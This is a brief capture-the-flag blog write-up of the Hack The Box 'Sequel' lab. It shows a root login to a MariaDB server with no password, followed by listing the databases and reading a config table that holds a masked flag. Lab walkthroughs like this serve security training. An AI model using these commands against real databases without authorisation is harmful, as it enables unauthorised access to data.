-
[htb] Sequel - very easySecurity in CPS/OSCP 2022. 4. 9. 16:44
1. Access mysql
$> mysql -u root -p -h ${target_ip}
...
MariaDB [(none)] show tables;
+--------------------+
| Database |
+--------------------+
| htb |
| information_schema |
| mysql |
| performance_schema |
+--------------------+
MariaDB [(none)] use htb;2. Read data from tables;
MariaDB [htb]> show tables;
+---------------+
| Tables_in_htb |
+---------------+
| config |
| users |
+---------------+
2 rows in set (0.289 sec)
MariaDB [htb]> select * from config;
+----+-----------------------+----------------------------------+
| id | name | value |
+----+-----------------------+----------------------------------+
| 1 | timeout | 60s |
| 2 | security | default |
| 3 | auto_logon | false |
| 4 | max_size | 2M |
| 5 | flag | ********************************** |
| 6 | enable_uploads | false |
| 7 | authentication_method | radius |
+----+-----------------------+----------------------------------+
7 rows in set (0.288 sec)'Security in CPS > OSCP' 카테고리의 다른 글
Name of host only adapter is not selected in VirtualBox (0) 2020.11.28 DVWA - config file not found (0) 2020.11.26